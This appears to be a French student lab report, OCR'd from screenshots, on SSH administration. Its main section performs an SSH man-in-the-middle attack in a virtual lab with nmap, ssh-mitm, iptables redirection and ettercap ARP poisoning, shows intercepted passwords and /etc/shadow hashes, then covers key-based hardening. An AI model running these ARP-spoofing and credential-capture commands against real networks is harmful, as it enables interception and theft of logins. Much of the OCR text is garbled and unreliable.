Enzo FAUDON Chapitre 10 - Administration a distance et échanges sécurisés BSIO1

Chapitre 10 : Administration a distance et échanges
sécurisés

1. Installation d’Openssh et utilisation de SSH

> Vérification de la bonne installation des paquetages openssh :

securely ret

enabled)
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2. Authentification par mot de passe

> Activation de la directive « PermitRootLogin yes » dans le fichier
sshd_config pour permettre la connexion en root a distance :

setcs/sshssshd_config

GHU nano 7.2

ned with

rride the

Lity AUTH
INFO
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> Affichage de la table FILTER :
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3. Attaque de ’homme du milieu entre le client et le serveur SSH
> Adressage IP manuelle sur la machine MITM en y indiquant le DNS d’Orange :

Annuler Filaire Appliquer

Details Identite IPv4 IPvb Securite

Méthode IPv4 Automatique (DHCP) Reseau local seulement
O Manuel Désactiver

Partagee avec d'autres ordinateurs

Adresses
192.168.3.100 255.255.255.0 192.168.3.254 (]
Q
DNS Automatique ()
80.10.246.2
parer T T
A

> Commande apt-get install et installation du paguetage nmap :

si0@MITM:~$% su - root

Mot de passe :

root@MITM:~# apt-get update

Réception de :1 http://security.debian.org/debian-security bullseye-security InRelease [27,2 kB]

Atteint :2 http://deb.debian.org/debian bullseye InRelease

Réception de :3 http://deb.debian.org/debian bullseye-updates InRelease [44,1 kB]

Réception de :4 http://security.debian.org/debian-security bullseye-security/main Sources [233 kB]
Réception de :5 http://security.debian.org/debian-security bullseye-security/main amd64 Packages [363 kB

Réception de :6 http://security.debian.org/debian-security bullseye-security/main Translation-en [240 kB

1

988 ko réceptionnés en 8s (110 ko/s)

Lecture des listes de paquets... Fait
root@MITM:~# apt-get install nmap

Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances... Fait
Lecture des informations d'état... Fait

Les paquets supplémentaires suivants seront installés :
liblinear4 nmap-common
Paquets suggérés :
liblinear-tools liblinear-dev ncat ndiff zenmap
Les NOUVEAUX paquets suivants seront installés :
liblinear4 nmap nmap-common
© mis a jour, 3 nouvellement installés, © a enlever et 17 non mis a jour
Il est nécessaire de prendre 5 959 ko dans les archives.
Aprés cette opération, 25,9 Mo d'espace disque supplémentaires seront utilisés.
Souhaitez-vous continuer ? [0/n] o
Réception de :1 http://deb.debian.org/debian bullseye/main amd64 liblinear4 amdé64 2.3.0+dfsg-5 [43,6 kB]
Réception de :2 http://deb.debian.org/debian bullseye/main amd64 nmap-common all 7.91+dfsgl+really7.80+d
fsgl-2 [4 @17 kB]
Réception de :3 http://deb.debian.org/debian bullseye/main amd64 nmap amd64 7.91+dfsgl+really7.80+dfsgl-
2 [1 899 kB]
5 959 ko réceptionnés en 17s (350 ko/s)
Sélection du paquet liblinear4:amd64 précédemment désélectionné.
(Lecture de la base de données... 169034 fichiers et répertoires déja installés.)
Préparation du dépaquetage de .../liblinear4 2.3.0+dfsg-5 amd64.deb ...
Dépaquetage de liblinear4:amd64 (2.3.0+dfsg-5)
Sélection du paquet nmap-common précédemment désélectionné.
Préparation du dépaquetage de .../nmap-common 7.91+dfsgl+really7.88+dfsgl-2 all.deb ...
Dépaquetage de nmap-common (7.91+dfsgl+really7.80+dfsgl-2)
Sélection du paquet nmap précédemment désélectionné.
Préparation du dépaquetage de .../nmap_7.91+dfsgl+really7.80+dfsgl-2_amd64.deb ...
Dépaquetage de nmap (7.91+dfsgl+really7.88+dfsgl-2)
Paramétrage de liblinear4:amd64 (2.3.0+dfsg-5)
Paramétrage de nmap-common (7.91+dfsgl+really7.80+dfsgl-2)
Paramétrage de nmap (7.91+dfsgl+really7.8@+dfsgl-2)
Traitement des actions différées (« triggers ») pour man-db (2.9.4-2)
Traitement des actions différées (« triggers ») pour libc-bin (2.31-13+debllull)
root@MITM:~# I
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> Scan du réseau 3.0/24 avec nmap :

root@ITM:~# nmap -sP 192.168.3.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-02 15:56 CEST
Nmap scan report for 192.168.3.1

Host is up (©.80020s latency).

MAC Address: 08:00:27:DD:8E:BB (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.3.254

Host is up (©.00022s latency).

MAC Address: 08:00:27:D5:8D:ED (Oracle VirtualBox virtual NIC)
Mmap scan report for 192.168.3.108

Host is up.

Mmap done: 256 IP addresses (3 hosts up) scanned in 2.72 seconds
root@MITM: ~# |

> Scan des machines US3 et DS1 sur le réseau ou I'attaquant peut obtenir la
version des OS et les ports ouverts ainsi que I'adresse MAC des victimes :

root@ITM:~# nmap -sV 192.168.3.254

Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-02 15:57 CEST

Nmap scan report for 192.168.3.254

Host is up (0.00012s5 latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.6pl Ubuntu 3ubuntul3.9 (Ubuntu Linux; protocol 2.0)
MAC Address: ©8:00:27:D5:8D:ED (Oracle VirtualBox virtual NIC)

Service Info: 05: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ©.73 seconds
root@ITM:~# nmap -sV 192.168.3.1

Starting Nmap 7.8 ( https://nmap.org ) at 2025-05-02 15:57 CEST
Nmap scan report for 192.168.3.1

Host is up (©.000068s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.2pl Debian 2+debl2u3 (protocol 2.0)
53/tcp open domain ISC BIND 9.18.28-1~debl2u2 (Debian Linux)

MAC Address: 08:00:27:DD:8E:BB (Oracle VirtualBox virtual NIC)
Service Info: 0S5: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
root@IITM: ~# |

> Affichage des voisins de DS1 :
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> Adressage IP de DS1 :

oup default glen

ault glen 1¢

ault oglen 1

roup default glen 1

UP,LO
hrd f
1

oup default glen 1

> Installation du paquet git sur la machine MITM :

root@ITHM:~# apt-get install git

Lecture des listes de paquets... Fait
Construction de 1'arbre des dépendances... Fait
Lecture des informations d'état... Fait

Les paquets supplémentaires suivants seront installés :
git-man liberror-perl
Paquets suggérés :
git-daemon-run | git-daemon-sysvinit git-doc git-el git-email git-gui gitk gitweb git-cvs
git-mediawiki git-svn
Les NOUVEAUX paquets suivants seront installés :
git git-man liberror-perl
O mis a jour, 3 nouvellement installés, ® a enlever et 17 non mis a jour
Il est nécessaire de prendre 7 428 ko dans les archives.
\Aprés cette opération, 38,1 Mo d'espace disque supplémentaires sereont utilisés.
Souhaitez-vous continuer 7 [0/n] o
Réception de :1 http://deb.debian.org/debian bullseye/main amdé4 liberror-perl all ©.17829-1 [31,0 kB]
Réception de :2 http://security.debian.org/debian-security bullseye-security/main amdé4 git-man all 1:2.
30.2-1+debllu4 [1 831 kB]
Réception de :3 http://security.debian.org/debian-security bullseye-security/main amdé4 git amd64 1:2.30
.2-1+debllu4 [5 566 kB]
7 428 ko réceptionnés en 14s (530 ko/s)
Sélection du paquet liberror-perl précédemment désélectionné.
(Lecture de la base de donneées... 169884 fichiers et repertoires deéja installes.)
Préparation du dépaquetage de .../liberror-perl ©.17029-1 all.deb ...
Dépaquetage de liberror-perl (©.17029-1)
Sélection du paquet git-man précédemment désélectionné.
Préparation du dépaquetage de .../git-man_1%3a2.30.2-1+debllu4 all.deb ...
Depaquetage de git-man (1:2.30.2-1+debllu4)
Sélection du paquet git précédemment désélectionné.
Préparation du dépaquetage de .../git 1%3a2.30.2-1+debllu4_amd64.deb ...
Depaquetage de git (1:2.30.2-1+debllu4)
Paramétrage de liberror-perl (©.17029-1)
Paramétrage de git-man (1:2.30.2-1+debllu4)
Paramétrage de git (1:2.30.2-1+debllu4)
Traitement des actions differées (« triggers ») pour man-db (2.9.4-2)
root@ITM:~# i
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> Installation du paquet ssh-mitm :

Successfully built SSH MITM!

Creating ssh-mitm user, and setting up its environment...

Generating public/private rsa key pair

Your identification has been saved in shome/ssh-mitm/etc/ssh host rsa key
'Your public key has been saved in /home/ssh-mitm/etc/ssh_host_rsa_key.pub
The key fingerprint is:

SHA256: XQgXnUEs6XUvalp6yBfLKz0IMsSuBOLLxD94arZaWwpc root@MITM

The key's randomart image is:

+---[RSA 4096]----+

. o%oo

==.0 +*
o+E= P
. o= .=
0+...0 0
+----[SHA256]----- +
Generating public/private ed25519 key pair
\Your identification has been saved in /home/ssh-mitm/etc/ssh_host_ed25519 key
Your public key has been saved in shome/ssh-mitm/etc/ssh host ed25519 key.pub
The key fingerprint is:
SHAZ256:5B2Z1YW+1Z1iNYY7naBdFbaZXhdZIPa3zXrXL9gPK4Q root@MITH
The key's randomart image is:
+--[ED25519 256]--+
0.0+. |
0..=0+ |
. o*0 ox |
=00..0 + |
|
|

| |
| |
| |
|+ + . .

| |
| |
| |
| |

sh and ARP spoof.

root@MITM: ~/ssh-mitm#

> Vérification de l'installation du paquet iptables :

root@ITM:~/ssh-mitm# apt-get install iptables
Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

iptables is already the newest version (1.8.7-1).
iptables set to manually installed.

root@ITM:~/ssh-mitm# [

> Lancement du service ssh-mitm :

root@MITM: ~/ssh-mitm# ./start.sh
Running sshd_mitm in unprivileged account...
SSH MITM v2.3-dev starting (production mode)

sshd _mitm is now _running.

Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute start.

Enabling IP forwarding in kernel...

Changing FORWARD table default policy to ACCEPT...

Executing: iptables -A INPUT -p tcp --dport 2222 -j ACCEPT

Executing: iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

BSIO1

@ upgraded, ® newly installed, ® to remove and 17 not upgraded.

in /home/ssh-mitm/. Hint: ARP spoofing can either be done with:
arpspoof -r -t 192.168.x.1 192.168.Xx.5
OR

ettercap -i enp®s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

Done! Now ARP spoof your victims and watch /var/log/auth.log for credentials. Logged sessions will be

hem. Then run this script again.

root@MITM: ~/ssh-mitm#
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> Vérification de la bonne mise en place du routage (ip_forwarda 1) :

root@ITM:~/ssh-mitm# cat /proc/sys/net/ipv4/ip forward
1
root@ITM: ~/ssh-mitm# [

> Les services écoutent a présent sur le port 2222 :

root@MITM:~/ssh-mitm# ss -1ltnp
State Becv-0 _Send-0 Local Address . Port Peer Address.Port Procecs

LISTEN © 128 0.0.0.0:2222 0.0.0.0:* Users

127, 0.0 1:631 R0 0 0:F ysers
LISTEN © 128 12222 HH users
ISTEN © 128 HERN * users:

root@ITM:~/ssh-mitm# [
> Redirection de la chaine PREROUTING vers le port 2222 :

root@MITM:~/ssh-mitm# iptables -t nat -L_-v
hain PREROUTING (policy ACCEPT © packets, © bytes)
pkts bytes target prot opt in out source destination

0] ® REDIRECT tcp -- any any anywhere anywhere tcp dpt:ssh red
ir ports 2222

Chain INPUT (policy ACCEPT © packets, © bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT © packets, © bytes)
pkts bytes target prot opt in out source destination

Chain POSTROUTING (policy ACCEPT © packets, © bytes)
pkts bytes target prot opt in out source destination
root@ITM: ~/ssh-mitm#

> Installation du paquet ettercap :

root@MITM:~/ssh-mitm# apt-get install ettercap-text-only

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

The following additional packages will be installed:
ethtool ettercap-common geoip-database libgeoipl libluajit-5.1-2 libluajit-5.1-common libnetl
Suggested packages:
geoip-bin
The following NEW packages will be installed:
ethtool ettercap-common ettercap-text-only geoip-database libgeoipl libluajit-5.1-2
libluajit-5.1-common libnetl
0 upgraded, 8 newly installed, © to remove and 17 not upgraded.
Need to get 4481 kB of archives.
After this operation, 15.0 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://deb.debian.org/debian bullseye/main amd64 ethtool amd64 1:5.9-1 [182 kB]
Get:2 http://deb.debian.org/debian bullseye/main amd64 geoip-database all 20191224-3 [3032 kB]
Get:3 http://deb.debian.org/debian bullseye/main amd64 libgeoipl amd64 1.6.12-7 [92.5 kB]
Get:4 http://deb.debian.org/debian bullseye/main amd64 libluajit-5.1-common all 2.1.8~beta3+dfsg-5.3 [46
.9 kB]
Get:5 http://deb.debian.org/debian bullseye/main amd64 libluajit-5.1-2 amd64 2.1.0~beta3+dfsg-5.3 [241 k
B]
Get:6 http://deb.debian.org/debian bullseye/main amd64 libnetl amd64 1.1.6+dfsg-3.1 [60.4 kB]
Get:7 http://deb.debian.org/debian bullseye/main amd64 ettercap-common amd64 1:0.8.3.1-3 [735 kB]
Get:8 http://deb.debian.org/debian bullseye/main amd64 ettercap-text-only amd64 1:0.8.3.1-3 [91.0 kB]
Fetched 4481 kB in 155 (292 kB/s)
apt-listchanges: Can't set locale; make sure $LC * and $LANG are correct!
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en US.utf-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC CTYPE to default locale: No such file or directory
locale: Cannot set LC MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
Selecting previously unselected package ethtool.
(Reading database ... 171200 files and directories currently installed.)
Preparing to unpack .../0-ethtool 1%3a5.9-1 amd64.deb ...
Unpacking ethtool (1:5.9-1)
Selecting previously unselected package geoip-database.
Preparing to unpack .../l-geoip-database 20191224-3 all.deb ...
Unpacking geoip-database (20191224-3)
Selecting previously unselected package libgeoipl:amdé4.
Preparing to unpack .../2-libgeoipl_1.6.12-7 amd64.deb ...
Unpacking libgeoipl:amd64 (1.6.12-7) .
Selecting previously unselected package libluajit-5.1-common.
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> Début d’attaque ARP poisoning depuis la machine MITM :

root@ITM: ~/ssh-mitm# ettercap -i enp@s3 -T -M arp /192.168.3.254// /192.168.3.1//
ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:

enpOs3 -> 08:00:27:A1:D4:5E
192.168.3.100/255.255.255.0
fes80::a00:27ff:feal:d45e/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipvé/conf/enp@s3/use tempaddr is not set to @.
Privileges dropped to EUID 65534 EGID 65534...

34 plugins
42 protocol dissectors
57 ports monitored
28230 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

scanning for merged targets (2 hosts)...

| | 100.00 %
2 hosts added to the hosts list...
\ARP poisoning victims:

GROUP 1 : 192.168.3.254 08:00:27:D5:8D:ED

GROUP 2 : 192.168.3.1 08:00:27:DD:8E:BB

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Fri May 2 16:12:42 2025 [510007]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

> Affichage des caches ARP des machines DS1 et US3 :

1laddrl@g:e6:27:a1:d4:5el REACHABLE
1laddr

1 STALE
THLE
ALE

= (oul
= (oul Ur
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dumgp erh
1ing an

> Installation du paquet tcpdump sur la machine MITM :

root@ITM:~/ssh-mitm# apt-get install tcpdump
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
tcpdump
©® upgraded, 1 newly installed, @ to remove and 17 not upgraded.
Need to get 466 kB of archives.
After this operation, 1361 kB of additional disk space will be used.
Get:1 http://deb.debian.org/debian bullseye/main amdé4 tcpdump amd64 4.99.0-2+debllul [466 kB]
Fetched 466 kB in 65 (82.1 kB/S)
apt-listchanges: Can't set locale; make sure $LC_* and $LANG are correct!
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en US.utf-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
locale: Cannot set LC_CTYPE to default locale: No such file or directory
locale: Cannot set LC_MESSAGES to default locale: No such file or directory
locale: Cannot set LC_ALL to default locale: No such file or directory
Selecting previously unselected package tcpdump.
(Reading database ... 171415 files and directories currently installed.)
Preparing to unpack .../tcpdump_4.99.0-2+debllul_amd64.deb ...
Unpacking tcpdump (4.99.0-2+debllul) ...
Setting up tcpdump (4.99.0-2+debllul) ...
Processing triggers for man-db (2.9.4-2) ...
root@MITM:~/ssh-mitm# ]

> Ping du client vers le serveur pour analyser et capturer les trames sur la
machine MITM :
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> Capture des pings du client vers le serveur sur la machine MITM :

r

o] sio@MITM: ~

Fri May 2 16:18:12 2025 [190898]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:12 2025 [192510]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

Fri May 2 16:18:13 2025 [195602]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:13 2825 [200535]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

Fri May 2 16:18:14 2025 [195494]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:14 2025 [196667]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

Fri May 2 16:18:15 2025 [199885]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:15 2025 [209169]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

Fri May 2 16:18:16 2025 [204500]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:16 2025 [212531]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

Fri May 2 16:18:17 2025 [209898]
192.168.3.1:0 --> 192.168.3.254:0 | P (@)

Fri May 2 16:18:17 2025 [216670]
192.168.3.254:0 --> 192.168.3.1:0 | (@)

> Connexion en tant que US3 sur DS1 :

--up

11emental

our Internet connection or pro
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> Affichage des mots de passes encryptés de US3 :

dkxLhnEas adhbykusoLk9HHIRS *eLwnzZPOELSHLD

destination

destination

ACCEPT)
SOUrRCE destination

> Arrét du spoofing sur la MITM :

Fri May 2 16:20:56 2025 [741651]
TCP 192.168.3.1:60204 --> 192.168.3.254:22 | A (0)
Closing text interface...

Terminating ettercap...

Lua cleanup complete!

ARP poisoner deactivated.
RE-ARPing the victims...
Unified sniffing was stopped.

root@MITM:~/ssh-mitm#

root@ITM:~/ssh-mitm# ./stop.sh

Forcing termination...

Disabling IP forwarding in the kernel...

Executing: iptables -D INPUT -p tcp --dport 2222 -j ACCEPT

Executing: iptables -t nat -D PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

Successfully stopped sshd mitm daemon and disabled forwarding rules.

root@MITM:~/ssh-mitm# [J
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> Interception des identifiants user et des mots de passes :

May 2 16:16:34 MITM useradd[18633]: new user: name=tcpdump, UID=117, GID=126, home=/nonexistent, shell=
Jusr/sbin/nologin, from=/dev/pts/1

May 2 16:16:34 MITM usermod[1864@]: change user 'tcpdump' password

May 2 16:16:34 MITM chage[18647]: changed password expiry for tcpdump

May 2 16:17:01 MITM CRON[18697]: pam unix(cron:session): session opened for user root(uid=0) by (uid=0)
May 2 16:17:81 MITM CRON[18697]: pam unix(cron:session): session closed for user root

May 65:19:40 MITM sshd mitm[18713]: INTERCEPTED PASSWORD: hostname: [192.168.3.254]; username: [root]

ord y [preauth]
May 2 16: 19 40 MITM sshd mitm[18713]: Accepted password for ssh-mitm from 192.168.3.1 port 60204 ssh2
May 2 16:19:40 MITM sshd mitm[18715]: MITM: rejecting env request.
May 2 16:21:29 MITM sshd mitm[18335]: Received signal 15; terminating.
root@ITM: ~/ssh-mitm# |

> Affichage du contenu du fichier shell_session_2 :

root@ITM: fhome/ssh-mitm/log# cd /home/ssh-mitm/

root@ITM: fhome/ssh-mitm# 1s

bin empty etc log run.sh tmp

root@ITM: fhome/ssh-mitm# cd log

root@ITM: fhome/ssh-mitm/log# 1s

client.log shell session 0.txt shell session 1.txt shell session 2.txt
root@MITM: fhomefssh mltmflog# cat shell session 2.txt I

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or p
roxy settingslear

at /etc/shadow
**root:$y$j9T$Psy8RbLvuaCduEl/DJa. j . $X9HqgcgQqxb8ykZ1q2IspYZThsAa0ZZmmpUflfdlosD:20174:9:99999:7:::
daemon:*:20135:0:99999:7:::6:50 2025 from 192.168.3.100
bin:*:208135:0:99999:7:::
Sys:*:20135:0:99999:7:::
sync:*:20135:0:99999:7:::
games:*:20135:0:99999:7:::
man:*:20135:0:99999:7:::
1p:#:20135:0:99999:7:::
mail:*:20135:0:99999:7:::
news:*:20135:0:99999:7:::
uucp:*:20135:0:99999:7:::
proxy:*:20135:0:99999:7:::
www-data:*:20135:9:99999:7:::
backup:*:208135:09:99999:7: ::
1ist:#:20135:0:99999:7:::
irc:*:20135:0:99999:7:::
_apt:*:20135:0:99999:7:::
nobody:*:208135:0:99999:7:
systemd-network: !#*: 20135----::
systemd-timesync:!#*:20135
dhcpecd: 1 :208135::::::
messagebus:!:20135::::::
systemd-resolve: 1#%:20135::::::
pollinate:!:208135::::
polkitd:!#*:28135:
syslog:!:20135::--
uuidd:!:208135:::
tcpdump:!:208135:
tss:!1:20135::::::
landscape:!:208135::::::
fwupd-refresh: !#:28135::::::
usbmux:!:20174: HE
sshd:1:20174::::::
enzo.$6$PYKhlptables -LmABrR2qszUHB16dG7 . 4kxLhnEa/nT83/n%a4byWuSoLk9WHIR99/cxLBashw2pS0/PeLvnZPgELS
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@us3:~# root@MITM: /home/ssh-mitm/log# I
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> Tentative de reconnexion en SSH depuis DS1 sur US3 qui ne peut aboutir car
la clé publique enregistrée est celle du pirate :

‘known_hosts'" -R 192, :

&4 found: line 2
: upda
Aknown_hosts.old
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4. Renforcement de la sécurité du service OpenSSH

> Création d’une nouvelle clé ECDSA sur DS1 :

Aroot s

LB TAYK. ToH: INMEZeNZomeuZbvGAL+sts root@Ds 1
ST L
256] ---+
|
|= oo+++.
+.+ . 0.
O 0o+

1= -al .=s=h

mia L
mia L
mia L
mia L
mia L
mia L

Z root root e

o root root
root root
root root
root root
root root

| T e O T Y e }
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> Activation des lignes PubkeyAuthentification yes et AuthorizedKeysFile du
fichier sshd_config :

GNU nano 7.2 setc/sshssshd_conf i

ult in futul
ke

GNU nang 7.2 setcssshsssh_contis

IdentityFile

For
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> Copie de la clé publique de DS1 vers US3 :

Page 17 sur 18



Enzo FAUDON Chapitre 10 - Administration a distance et échanges sécurisés BSIO1

> Activation de I’'agent SSH :

oo

root@ns:

bash: : commande introuvable
root@nsl: id

Enter

jour Internet connection or p
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